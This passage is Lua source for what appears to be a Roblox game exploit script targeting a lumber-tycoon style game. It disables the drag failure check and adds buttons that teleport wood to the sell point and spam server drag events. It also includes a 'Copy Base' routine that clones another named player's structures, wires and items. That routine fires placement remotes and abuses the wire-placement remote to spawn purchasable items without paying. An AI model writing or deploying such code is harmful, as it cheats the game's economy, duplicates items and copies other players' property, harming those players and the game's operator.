- local mouseHit = game.Players.LocalPlayer:GetMouse().Hit.p
- if (mouseHit - Character.Head.Position).magnitude > dragRangeMax then
- return
- end
- initializeDrag(targetObject, mouseHit)
- rotateCFrame = CFrame.new()
- carryAnimationTrack:Play(0.1, 1, 1)
- local dragIsFailing = 0
- local dragTime = 0
- while button1Down and canDrag(targetObject) do
- local desiredPos = Character.Head.Position + (game.Players.LocalPlayer:GetMouse().Hit.p - Character.Head.Position).unit * dragRange
- local dragRay = Ray.new(Character.Head.Position, desiredPos - Character.Head.Position)
- local part, pos = workspace:FindPartOnRayWithIgnoreList(dragRay, {Character, dragPart, targetObject.Parent})
- if part then
- desiredPos = pos
- end
- if (camera.CoordinateFrame.p - Character.Head.Position).magnitude > 2 then
- desiredPos = desiredPos + Vector3.new(0, 1.8, 0)
- end
- moveDrag(desiredPos)
- bodyGyro.cframe = CFrame.new(dragPart.Position, camera.CoordinateFrame.p) * rotateCFrame
- local targParent = findHighestParent(targetObject) or targetObject
- local attemptingToSurf = false
- for _, check in pairs({{Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.7, -2.8, 0)).p, Vector3.new(0, -2, 0))},
- {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.35, -2.8, 0)).p, Vector3.new(0, -2, 0))},
- {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0, -2.8, 0)).p, Vector3.new(0, -2, 0))},
- {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.35, -2.8, 0)).p, Vector3.new(0, -2, 0))},
- {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(-0.7, -2.8, 0)).p, Vector3.new(0, -2, 0))},
- {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.35, -2.8, 0.6)).p, Vector3.new(0, -2, 0))},
- {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0, -2.8, 0.6)).p, Vector3.new(0, -2, 0))},
- {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.35, -2.8, 0.6)).p, Vector3.new(0, -2, 0))},
- {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.35, -2.8, -0.6)).p, Vector3.new(0, -2, 0))},
- {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0, -2.8, -0.6)).p, Vector3.new(0, -2, 0))},
- {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.35, -2.8, -0.6)).p, Vector3.new(0, -2, 0))},
- {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.5, -0.8, 0)).p, Character.HumanoidRootPart.CFrame.lookVector), State = Enum.HumanoidStateType.Climbing},
- {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(-0.5, -0.8, 0)).p, Character.HumanoidRootPart.CFrame.lookVector), State = Enum.HumanoidStateType.Climbing},
- {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(0.5, -1.3, 0)).p, Character.HumanoidRootPart.CFrame.lookVector), State = Enum.HumanoidStateType.Climbing},
- {Ray = Ray.new((Character.HumanoidRootPart.CFrame * CFrame.new(-0.5, -1.3, 0)).p, Character.HumanoidRootPart.CFrame.lookVector), State = Enum.HumanoidStateType.Climbing}
- }) do
- local ray = check.Ray
- local part, _ = workspace:FindPartOnRayWithIgnoreList(ray, {Character})
- local op = part
- part = part and findHighestParent(part)
- if part and (not check.State or Humanoid:GetState() == check.State) then
- if part == targParent then
- attemptingToSurf = true
- else
- for _, connectedPart in pairs(op:GetConnectedParts(true)) do
- if connectedPart == targetObject--[[targParent]] then
- attemptingToSurf = true
- break
- end
- end
- end
- if attemptingToSurf then
- break
- end
- end
- end
- local falling = Humanoid:GetState() == Enum.HumanoidStateType.Freefall or Humanoid:GetState() == Enum.HumanoidStateType.FallingDown--not part1 and not part2
- if attemptingToSurf then
- dragIsFailing = 0
- elseif falling then
- dragIsFailing = 0
- elseif (dragPart.Position - desiredPos).magnitude > 5 then
- dragIsFailing = 0
- else
- dragIsFailing = 0
- end
- if dragIsFailing > 16 then
- break
- end
- if dragTime % 10 == 0 and targParent.Parent:FindFirstChild("BedInfo") and targParent.Parent:FindFirstChild("Main") then
- game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.Parent.Scripts.VehicleControl.SetVehicleOwnership:Fire(targParent.Parent.Main)
- end
- clientIsDragging:FireServer(targParent.Parent)
- wait()
- dragTime = 0
- end
- carryAnimationTrack:Stop()
- endDrag()
- end
- function findHighestParent(child)
- if not child or not child.Parent or child.Parent == workspace then
- return nil
- end
- local ret = child.Parent:FindFirstChild("Owner") and child
- return findHighestParent(child.Parent) or ret
- end
- function clickEnded()
- button1Down = false
- end
- function holdDistanceChanged()
- dragRange = dragRangeMax--[[_G.dragRangeMin + (1 - dist) * (dragRangeMax - _G.dragRangeMin)]]
- end
- function canDrag(targetObject)
- if not (targetObject and not targetObject.Anchored and targetObject.Parent and Humanoid.Health > 0) then -- General conditions
- return false
- end
- if targetObject.Name == "LeafPart" then
- return false
- end
- local originTargetObject = targetObject
- targetObject = findHighestParent(targetObject) or targetObject
- bodyGyro.Parent = dragPart
- --[[if not (targetObject.Parent:FindFirstChild("Owner") or targetObject.Parent.Parent:FindFirstChild("Owner")) then
- return otherDraggable(targetObject, originTargetObject)
- end]]
- if targetObject.Parent:FindFirstChild("Owner") or targetObject.Parent.Parent:FindFirstChild("Owner") then
- return true
- end
- if targetObject.Parent:FindFirstChild("TreeClass") then -- Wood class
- return true
- end
- if targetObject.Parent:FindFirstChild("BoxItemName") then -- Shop items
- return true
- end
- if targetObject.Parent:FindFirstChild("PurchasedBoxItemName") then -- Purchased box items
- return true
- end
- if targetObject.Parent:FindFirstChild("Handle") then -- Tool items
- return true
- end
- return otherDraggable(targetObject, originTargetObject)
- end
- function otherDraggable(targetObject, originTargetObject)
- local draggable = targetObject and targetObject.Parent and targetObject.Parent:FindFirstChild("DraggableItem") or originTargetObject and originTargetObject.Parent and originTargetObject.Parent:FindFirstChild("DraggableItem")
- if draggable then -- Other stuff
- if draggable:FindFirstChild("NoRotate") then
- bodyGyro.Parent = nil
- end
- return true
- end
- end
- function initializeDrag(targetObject,mouseHit)
- draggingPart = true
- mouse.TargetFilter = targetObject and findHighestParent(targetObject) and findHighestParent(targetObject).Parent or targetObject
- dragPart.CFrame = CFrame.new(mouseHit, camera.CoordinateFrame.p)
- weld.Part0 = dragPart
- weld.Part1 = targetObject
- weld.C0 = CFrame.new(mouseHit,camera.CoordinateFrame.p):inverse() * targetObject.CFrame
- weld.Parent = dragPart
- dragPart.Parent = workspace
- end
- function endDrag()
- mouse.TargetFilter = nil
- dragPart.Parent = nil
- draggingPart = false
- end
- --------------------------------[[ Do Prompt ]]------------------------------------
- local dragGuiState = ""
- function interactLoop()
- while true do
- wait()
- local newState = ""
- local mouseHit = game.Players.LocalPlayer:GetMouse().Hit.p
- local targetObject = game.Players.LocalPlayer:GetMouse().Target
- if draggingPart then
- newState = "Dragging"
- elseif canDrag(targetObject) and not button1Down and (mouseHit - Character.Head.Position).magnitude < dragRangeMax then
- newState = "Mouseover"
- end
- if true then-- not (newState == dragGuiState) then
- dragGuiState = newState
- setPlatformControls()
- if dragGuiState == "" then
- game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.Visible = false
- game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.Visible = false
- elseif dragGuiState == "Mouseover" then
- game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.Visible = true
- game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.Visible = false
- elseif dragGuiState == "Dragging" then
- game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.Visible = false
- game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.Visible = not (bodyGyro.Parent == nil) and (not player:FindFirstChild("IsChatting") or player.IsChatting.Value < 1)
- end
- end
- end
- end
- --------------------------------[[ Drag Moving ]]------------------------------------
- function moveDrag(pos)
- bodyPosition.position = pos
- end
- local rotateSpeedReduce = 0.036
- local lastRotateTick
- function crotate(amount, speed)
- if not draggingPart then
- if not player:FindFirstChild("IsChatting") or player.IsChatting.Value < 2 then
- Humanoid.WalkSpeed = walkSpeed
- end
- return
- end
- if Humanoid.WalkSpeed > 1 then
- walkSpeed = Humanoid.WalkSpeed
- Humanoid.WalkSpeed = 0
- end
- lastRotateTick = tick()
- local thisRotateTick = lastRotateTick
- while draggingPart and amount.magnitude > 0 and lastRotateTick == thisRotateTick do
- rotateCFrame = CFrame.Angles(0, -amount.X * rotateSpeedReduce, 0) * CFrame.Angles(amount.Y * rotateSpeedReduce, 0, 0) * rotateCFrame
- wait()
- end
- if amount.magnitude == 0 then
- if not player:FindFirstChild("IsChatting") or player.IsChatting.Value < 2 then
- Humanoid.WalkSpeed = walkSpeed
- end
- end
- end
- --------------------------------[[ User Input ]]------------------------------------
- wait(1)
- carryAnimationTrack = Humanoid:LoadAnimation(game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.Dragger:WaitForChild("CarryItem"))
- --input = require(game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.Parent:WaitForChild("Scripts"):WaitForChild("UserInput"))
- game.Players.LocalPlayer:GetMouse().Button1Down:connect(function()
- click()
- holdDistanceChanged()
- end)
- game.Players.LocalPlayer:GetMouse().Button1Up:connect(function()
- clickEnded()
- end)
- --input.ClickBegan(click, holdDistanceChanged)
- --input.ClickEnded(clickEnded)
- --input.Rotate(crotate)
- function setPlatformControls()
- game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.PlatformButton.Image = game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.PlatformButton.PC.Value
- game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.PlatformButton.KeyLabel.Text = "CLICK"
- game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.PlatformButton.Image = game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.PlatformButton.PC.Value
- game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.PlatformButton.KeyLabel.Text = "SHIFT + WASD"
- end
- interactLoop()
- end)
- local SellWood = Instance.new("TextButton")
- SellWood.Name = "SellWood"
- SellWood.Parent = WoodFrame
- SellWood.BackgroundColor3 = Color3.new(0, 0, 0)
- SellWood.BorderColor3 = Color3.new(0, 0, 0)
- SellWood.Position = UDim2.new(0, 3, 0, 72)
- SellWood.Size = UDim2.new(0, 165, 0, 20)
- SellWood.Font = Enum.Font.Fantasy
- SellWood.FontSize = Enum.FontSize.Size18
- SellWood.Text = "Sell Cut Wood"
- SellWood.TextColor3 = Color3.new(255, 0, 0)
- SellWood.TextSize = 15
- SellWood.MouseButton1Down:connect(function()
- for _, Log in pairs(workspace.LogModels:GetChildren()) do
- if Log.Name:sub(1, 6) == "Loose_" and Log:findFirstChild("Owner") then
- if Log.Owner.Value == game.Players.LocalPlayer then
- for i,v in pairs(Log:GetChildren()) do
- if v.Name=="WoodSection" then
- spawn(function()
- for i=1,10 do
- wait()
- v.CFrame=CFrame.new(Vector3.new(315, -0.296, 85.791))*CFrame.Angles(math.rad(90),0,0)
- end
- end)
- end
- end
- spawn(function()
- for i=1,20 do
- wait()
- game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Log)
- end
- end)
- end
- end
- end
- end)
- local SellPlanks = Instance.new("TextButton")
- SellPlanks.Name = "SellWood"
- SellPlanks.Parent = WoodFrame
- SellPlanks.BackgroundColor3 = Color3.new(0, 0, 0)
- SellPlanks.BorderColor3 = Color3.new(0, 0, 0)
- SellPlanks.Position = UDim2.new(0, 3, 0, 95)
- SellPlanks.Size = UDim2.new(0, 165, 0, 20)
- SellPlanks.Font = Enum.Font.Fantasy
- SellPlanks.FontSize = Enum.FontSize.Size18
- SellPlanks.Text = "Sell Planks"
- SellPlanks.TextColor3 = Color3.new(255, 0, 0)
- SellPlanks.TextSize = 15
- SellPlanks.MouseButton1Click:Connect(function()
- for _, Plank in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if Plank.Name=="Plank" and Plank:findFirstChild("Owner") then
- if Plank.Owner.Value == game.Players.LocalPlayer then
- for i,v in pairs(Plank:GetChildren()) do
- if v.Name=="WoodSection" then
- spawn(function()
- for i=1,10 do
- wait()
- v.CFrame=CFrame.new(Vector3.new(315, -0.296, 85.791))*CFrame.Angles(math.rad(90),0,0)
- end
- end)
- end
- end
- spawn(function()
- for i=1,20 do
- wait()
- game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Plank)
- end
- end)
- end
- end
- end
- end)
- local TPWood = Instance.new("TextButton")
- TPWood.Name = "TPWood"
- TPWood.Parent = WoodFrame
- TPWood.BackgroundColor3 = Color3.new(0, 0, 0)
- TPWood.BorderColor3 = Color3.new(0, 0, 0)
- TPWood.Position = UDim2.new(0, 3, 0, 118)
- TPWood.Size = UDim2.new(0, 165, 0, 20)
- TPWood.Font = Enum.Font.Fantasy
- TPWood.FontSize = Enum.FontSize.Size18
- TPWood.Text = "TP Wood to You"
- TPWood.TextColor3 = Color3.new(255, 0, 0)
- TPWood.TextSize = 15
- TPWood.MouseButton1Click:Connect(function()
- for _, Log in pairs(game.Workspace.LogModels:GetChildren()) do
- if Log.Name:sub(1, 6) == "Loose_" and Log:findFirstChild("Owner") then
- if Log.Owner.Value == game.Players.LocalPlayer then
- Log:MoveTo(game.Players.LocalPlayer.Character.HumanoidRootPart.Position + Vector3.new(0, 20, 0))
- for i=1,100 do
- game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Log)
- end
- end
- end
- end
- end)
- local TpAllPlanks = Instance.new("TextButton")
- TpAllPlanks.Name = "TpAllPlanks"
- TpAllPlanks.Parent = WoodFrame
- TpAllPlanks.BackgroundColor3 = Color3.new(0, 0, 0)
- TpAllPlanks.BorderColor3 = Color3.new(0, 0, 0)
- TpAllPlanks.Position = UDim2.new(0, 3, 0, 141)
- TpAllPlanks.Size = UDim2.new(0, 165, 0, 20)
- TpAllPlanks.Font = Enum.Font.Fantasy
- TpAllPlanks.FontSize = Enum.FontSize.Size18
- TpAllPlanks.Text = "TP Planks to You"
- TpAllPlanks.TextColor3 = Color3.new(255, 0, 0)
- TpAllPlanks.TextSize = 15
- TpAllPlanks.MouseButton1Click:Connect(function()
- for _, Plank in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if Plank.Name=="Plank" and Plank:findFirstChild("Owner") then
- if Plank.Owner.Value == game.Players.LocalPlayer then
- sendNotice = game.ReplicatedStorage.Notices.SendUserNotice
- sendNotice:Fire("Click where you want ALL the Planks to TP to")
- local ButtonPress
- ButtonPress = game.Players.LocalPlayer:GetMouse().Button1Down:Connect(function()
- Square = game.Players.LocalPlayer:GetMouse().Target
- if (Square.Name == "OriginSquare" or Square.Name == "Square") then
- ButtonPress:Disconnect()
- Plank:MoveTo(Square.Position)
- for i=1,100 do
- game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Plank)
- end
- end
- end)
- end
- end
- end
- end)
- local TeleportToSpook = Instance.new("TextButton")
- TeleportToSpook.Name = "TeleportToSpook"
- TeleportToSpook.Parent = WoodFrame
- TeleportToSpook.BackgroundColor3 = Color3.new(0, 0, 0)
- TeleportToSpook.BorderColor3 = Color3.new(0, 0, 0)
- TeleportToSpook.Position = UDim2.new(0, 3, 0, 164)
- TeleportToSpook.Size = UDim2.new(0, 165, 0, 20)
- TeleportToSpook.Font = Enum.Font.Fantasy
- TeleportToSpook.FontSize = Enum.FontSize.Size18
- TeleportToSpook.Text = "TeleportToSpook"
- TeleportToSpook.TextColor3 = Color3.new(255, 0, 0)
- TeleportToSpook.TextSize = 15
- TeleportToSpook.MouseButton1Click:Connect(function()
- for i, v in pairs(game.Workspace:GetChildren()) do
- if v.Name == "TreeRegion" then
- for j, k in ipairs(v:GetChildren()) do
- if k:FindFirstChild("TreeClass") and k.TreeClass.Value == "Spooky" or k:FindFirstChild("TreeClass") and k.TreeClass.Value == "SpookyNeon" then
- game.Players.LocalPlayer.Character:MoveTo(k.WoodSection.Position)
- break
- end
- end
- end
- end
- end)
- local PlayerNameBox = Instance.new("TextBox")
- local CopyFrame = Instance.new("Frame")
- local Copymenu = Instance.new("ImageButton")
- Copymenu.Name = "Copymenu"
- Copymenu.Parent = Picker
- Copymenu.BackgroundColor3 = Color3.new(1, 1, 1)
- Copymenu.BorderColor3 = Color3.new(0, 0, 0)
- Copymenu.Position = UDim2.new(0, 15, 0,260)
- Copymenu.Size = UDim2.new(0, 80, 0, 80)
- Copymenu.ZIndex = 3
- Copymenu.Image = "rbxassetid://3899462163"
- Copymenu.ScaleType = Enum.ScaleType.Crop
- Copymenu.MouseButton1Click:Connect(function()
- CurrentItem.Image = "rbxassetid://3886256996"
- AIntroImage.Visible = false
- AIntroImage1.Visible = false
- end)
- CopyFrame.Name = "CopyFrame"
- CopyFrame.Parent = MenuFrame
- CopyFrame.BorderSizePixel = 1
- CopyFrame.BackgroundTransparency = 0
- CopyFrame.BorderColor3 = Color3.new(0, 0, 0)
- CopyFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
- CopyFrame.Size = UDim2.new(0, 170, 0, 439)
- CopyFrame.Visible = false
- PlayerNameBox.Name = "PlayerNameBox"
- PlayerNameBox.Parent = CopyFrame
- PlayerNameBox.BackgroundColor3 = Color3.new(0, 0, 0)
- PlayerNameBox.BorderColor3 = Color3.new(0, 0, 0)
- PlayerNameBox.Position = UDim2.new(0, 3, 0, 3)
- PlayerNameBox.Size = UDim2.new(0, 165, 0, 20)
- PlayerNameBox.Font = Enum.Font.Fantasy
- PlayerNameBox.FontSize = Enum.FontSize.Size18
- PlayerNameBox.Text = "PLAYER NAME"
- PlayerNameBox.TextColor3 = Color3.new(255, 0, 0)
- PlayerNameBox.TextSize = 15
- local CopyBase = Instance.new("TextButton")
- CopyBase.Name = "CopyBase"
- CopyBase.Parent = CopyFrame
- CopyBase.BackgroundColor3 = Color3.new(0, 0, 0)
- CopyBase.BorderColor3 = Color3.new(0, 0, 0)
- CopyBase.Position = UDim2.new(0, 3, 0, 26)
- CopyBase.Size = UDim2.new(0, 165, 0, 20)
- CopyBase.Font = Enum.Font.Fantasy
- CopyBase.FontSize = Enum.FontSize.Size18
- CopyBase.Text = "Copy Base"
- CopyBase.TextColor3 = Color3.new(255, 0, 0)
- CopyBase.TextSize = 15
- --//Setting\\
- CopyBase.MouseButton1Down:connect(function()
- local RunService = game:GetService("RunService")
- local TargetPlayer = PlayerNameBox.Text
- local SlowMode = false
- local WipeLocal = false
- local CopyStructure = true
- local CopyWire = true
- local CopyItems = true
- local CopyFurniture = true
- --------------------------------------
- if WipeLocal then
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") then
- if v.Owner.Value == game.Players.LocalPlayer then
- game.ReplicatedStorage.Interaction.DestroyStructure:FireServer(v)
- end
- end
- end
- wait(0.5)
- end
- for i,v in pairs(game.Players:GetChildren()) do
- if v ~= game.Players.LocalPlayer then
- if v.Name:find(TargetPlayer) then
- TargetPlayer = v
- break
- end
- end
- end
- local LocalLand, TargetLand
- for i,v in pairs(game.Workspace.Properties:GetChildren()) do
- if v:FindFirstChild("Owner") then
- if v.Owner.Value == TargetPlayer then
- TargetLand = v
- elseif v.Owner.Value == game.Players.LocalPlayer then
- LocalLand = v
- end
- end
- end
- local CollectedTargetStructures, CollectedLocalStructures, CollectedLocalFurnitures, CollectedTargetFurnitures, CollectedLocalItems, CollectedTargetItems = {}, {}, {}, {}, {}, {}
- local CollectedTargetItemsCopy, CollectedTargetFurnituresCopy = {}, {}
- local TotalCollectedBlueprints = 0
- if CopyStructure then
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and v.Owner.Value == TargetPlayer then
- if v:FindFirstChild("BuildDependentWood") and (v.Type.Value == "Structure" or v.Type.Value == "Furniture") then
- local Data = {}
- Data.WoodClass = v:FindFirstChild("BlueprintWoodClass") and v.BlueprintWoodClass.Value
- Data.OffSet = (v:FindFirstChild("MainCFrame") and v.MainCFrame.Value or v.PrimaryPart.CFrame) - TargetLand.OriginSquare.Position
- Data.BlueprintType = v.ItemName.Value
- table.insert(CollectedTargetStructures,Data)
- end
- end
- end
- for i, Data in pairs(CollectedTargetStructures) do
- game.ReplicatedStorage.PlaceStructure.ClientPlacedBlueprint:FireServer(Data.BlueprintType, LocalLand.OriginSquare.CFrame - Vector3.new(0,20,0), game.Players.LocalPlayer)
- if SlowMode and (math.random(1,2) ~= 1) then
- RunService.RenderStepped:Wait()
- end
- end
- end
- function blueprintHasBeenCollected(Model)
- if CollectedLocalStructures[Model.Name] then
- for i, BlueprintModel in pairs(CollectedLocalStructures[Model.Name]) do
- if BlueprintModel == Model then
- return true
- end
- end
- end
- return false
- end
- repeat
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and v.Owner.Value == game.Players.LocalPlayer and v:FindFirstChild("Type") and v.Type.Value == "Blueprint" and not blueprintHasBeenCollected(v) then
- if not CollectedLocalStructures[v.Name] then
- CollectedLocalStructures[v.Name] = {}
- end
- table.insert(CollectedLocalStructures[v.Name], v)
- TotalCollectedBlueprints = TotalCollectedBlueprints + 1
- end
- end
- wait()
- until TotalCollectedBlueprints == #CollectedTargetStructures
- function SpawnStructure(Data, Blueprint)
- local Position = Data.OffSet + LocalLand.OriginSquare.Position
- game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure:FireServer(Blueprint.ItemName.Value, Position, game.Players.LocalPlayer, Data.WoodClass, Blueprint, not Data.WoodClass)
- end
- for i, Data in pairs(CollectedTargetStructures) do
- local Blueprint = CollectedLocalStructures[Data.BlueprintType][1]
- table.remove(CollectedLocalStructures[Data.BlueprintType], 1)
- SpawnStructure(Data, Blueprint)
- if SlowMode and (math.random(1,2) ~= 1) then
- RunService.RenderStepped:Wait()
- end
- end
- function CreateWire(WireType, Points)
- local Wire = game.ReplicatedStorage.Purchasables.WireObjects[WireType]
- for i,v in pairs(Points) do
- Points[i] = v + LocalLand.OriginSquare.Position
- end
- game.ReplicatedStorage.PlaceStructure.ClientPlacedWire:FireServer(Wire, Points)
- end
- if CopyWire then
- for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if v:FindFirstChild("Owner") and v.Owner.Value == TargetPlayer and v:FindFirstChild("Type") and v.Type.Value == "Wire" and v:FindFirstChild("End1") then
- local Points = {}
- local PointCount = 1
- table.insert(Points, (v.End1.Position - TargetLand.OriginSquare.Position))
- for i,w in pairs(v:GetChildren()) do
- if w.Name:find("Point") then
- PointCount = PointCount + 1
- end
- end
- for i=2, PointCount do
- local Point = v:FindFirstChild("Point"..tostring(i))
- table.insert(Points, (Point.Position - TargetLand.OriginSquare.Position))
- end
- table.insert(Points, (v.End2.Position - TargetLand.OriginSquare.Position))
- CreateWire(v.ItemName.Value, Points)
- if SlowMode and (math.random(1,2) ~= 1)then
- RunService.RenderStepped:Wait()
- end
- end
- end
- end
- function isValidFurniture(Model)
- if Model:FindFirstChild("Type") and (Model.Type.Value == "Structure" or Model.Type.Value == "Furniture" or Model.Type.Value == "Vehicle Spot") then
- if Model:FindFirstChild("BuildDependentWood") or Model:FindFirstChild("PurchasedBoxItemName") then
- return false
- end
- return true
- end
- return false
- end
- function Spawn(ItemName, Position)
- local Info = {}
- Info.Name = ItemName.Value
- Info.Type = ItemName.Name == "PurchasedBoxItemName" and ItemName or game.ReplicatedStorage.Purchasables.Structures.HardStructures.Sawmill2.Type
- Info.OtherInfo = game.ReplicatedStorage.Purchasables.WireObjects.Wire.OtherInfo
- local Points = {Position.p, Position.p}
- game.ReplicatedStorage.PlaceStructure.ClientPlacedWire:FireServer(Info, Points)
- end
- if CopyFurniture then
- for i, Model in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if Model:FindFirstChild("Owner") and Model.Owner.Value == TargetPlayer and isValidFurniture(Model) then
- local ItemName = Model:FindFirstChild("ItemName") or Model:FindFirstChild("PurchasedBoxItemName")
- local Position = (Model:FindFirstChild("MainCFrame") and Model.MainCFrame.Value or Model.PrimaryPart.CFrame) - TargetLand.OriginSquare.Position
- if ItemName.Name == "PurchasedBoxItemName" then
- Spawn(ItemName, Position + LocalLand.OriginSquare.Position)
- else
- Spawn(ItemName, LocalLand.OriginSquare.CFrame - Vector3.new(0,20,0))
- end
- local Data = {}
- Data.ItemName = ItemName.Value
- Data.OffSet = Position
- table.insert(CollectedTargetFurnitures, Data)
- if SlowMode and (math.random(1,2) ~= 1)then
- RunService.RenderStepped:Wait()
- end
- end
- end
- end
- for i, v in pairs(CollectedTargetFurnitures) do
- table.insert(CollectedTargetFurnituresCopy,v)
- end
- function isValidFurnitureModel(Model)
- for i, Data in pairs(CollectedTargetFurnitures) do
- if Data.ItemName == Model.ItemName.Value then
- table.remove(CollectedTargetFurnitures, i)
- return true
- end
- end
- return false
- end
- repeat
- for i, Model in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if Model.Name == "Wire" and Model:FindFirstChild("Owner") and Model.Owner.Value == game.Players.LocalPlayer and Model.ItemName.Value ~= "Wire" and isValidFurnitureModel(Model) then
- table.insert(CollectedLocalFurnitures, Model)
- end
- end
- wait()
- until #CollectedTargetFurnitures == 0
- function GrabModelFromCollectedFurnitures(ItemName)
- for i, Model in pairs(CollectedLocalFurnitures) do
- if Model.ItemName.Value == ItemName then
- table.remove(CollectedLocalFurnitures,i)
- return Model
- end
- end
- end
- for i, Data in pairs(CollectedTargetFurnituresCopy) do
- local Model = GrabModelFromCollectedFurnitures(Data.ItemName)
- local ItemName = Data.ItemName
- local Position = Data.OffSet + LocalLand.OriginSquare.Position
- game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure:FireServer(ItemName,Position,game.Players.LocalPlayer,false,Model,true)
- if SlowMode and (math.random(1,2) ~= 1)then
- RunService.RenderStepped:Wait()
- end
- end
- function isValidItem(Model)
- if Model:FindFirstChild("Type") and (Model.Type.Value == "Structure" or Model.Type.Value == "Loose Item" or Model.Type.Value == "Tool" or Model.Type.Value == "Wire" or Model.Type.Value == "Furniture" or Model.Type.Value == "Gift") then
- if (Model.Type.Value == "Structure" or Model.Type.Value == "Wire" or Model.Type.Value == "Furniture") and not Model:FindFirstChild("PurchasedBoxItemName") then
- return false
- end
- return true
- elseif not Model:FindFirstChild("Type") then
- if Model:FindFirstChild("ItemName") then
- local ItemName = Model.ItemName.Value:lower()
- if ItemName:find("bob") and (ItemName:find("wob") or ItemName:find("head"))then
- return true
- end
- end
- end
- return false
- end
- function itemIsOnLand(Position)
- if (math.abs(Position.X - TargetLand.OriginSquare.Position.X) > 101 or math.abs(Position.Z - TargetLand.OriginSquare.Position.Z) > 101) then
- return false
- end
- for i, Square in pairs(TargetLand:GetChildren()) do
- if Square.Name == "Square" then
- if (math.abs(Position.X - Square.Position.X) < 21 and math.abs(Position.Z - Square.Position.Z) < 21) then
- return true
- end
- end
- end
- return false
- end
- if CopyItems then
- for i, Model in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if Model:FindFirstChild("Owner") and Model.Owner.Value == TargetPlayer and isValidItem(Model) then
- local ItemName = Model:FindFirstChild("ItemName") or Model:FindFirstChild("PurchasedBoxItemName")
- local Position = (Model:FindFirstChild("MainCFrame") and Model.MainCFrame.Value or Model.PrimaryPart.CFrame) - TargetLand.OriginSquare.Position
- if itemIsOnLand((Model:FindFirstChild("MainCFrame") and Model.MainCFrame.Value or Model.PrimaryPart.CFrame).p) then
- Spawn(ItemName, LocalLand.OriginSquare.CFrame - Vector3.new(0,20,0))
- local Data = {}
- Data.ItemName = ItemName.Value
- Data.OffSet = Position
- table.insert(CollectedTargetItems, Data)
- if SlowMode and (math.random(1,2) ~= 1)then
- RunService.RenderStepped:Wait()
- end
- end
- end
- end
- end
- for i, v in pairs(CollectedTargetItems) do
- table.insert(CollectedTargetItemsCopy,v)
- end
- function isValidItemModel(Model)
- for i, Data in pairs(CollectedTargetItems) do
- if Data.ItemName == Model.ItemName.Value then
- table.remove(CollectedTargetItems, i)
- return true
- end
- end
- return false
- end
- function itemHasBeenCollected(Model)
- for i, Data in pairs(CollectedLocalItems) do
- if Data.ItemName == Model.ItemName.Value then
- return true
- end
- end
- return false
- end
- repeat
- for i, Model in pairs(game.Workspace.PlayerModels:GetChildren()) do
- if Model.Name == "Wire" and Model:FindFirstChild("Owner") and Model.Owner.Value == game.Players.LocalPlayer and (Model.ItemName.Value ~= "Wire" or (Model:FindFirstChild("ItemName") and Model.ItemName.Value == "Wire" and Model:FindFirstChild("PurchasedBoxItemName"))) and isValidItemModel(Model) and not itemHasBeenCollected(Model) then
- table.insert(CollectedLocalItems, Model)
- end
- end
- wait()
- until #CollectedTargetItems == 0
- function GrabModelFromCollectedItems(ItemName)
- for i, Model in pairs(CollectedLocalItems) do
- if Model.ItemName.Value == ItemName then
- table.remove(CollectedLocalItems,i)
- return Model
- end
- end
- end
- for i, Data in pairs(CollectedTargetItemsCopy) do
- local Model = GrabModelFromCollectedItems(Data.ItemName)
- local ItemName = Data.ItemName
- local Position = Data.OffSet + LocalLand.OriginSquare.Position
- if Model:FindFirstChild("PurchasedBoxItemName") then
- game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure:FireServer(false, Position, false, false, Model)
- Model.Parent = nil
- else
- game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure:FireServer(ItemName,Position,game.Players.LocalPlayer,false,Model,true)
- end
- if SlowMode and (math.random(1,2) ~= 1)then
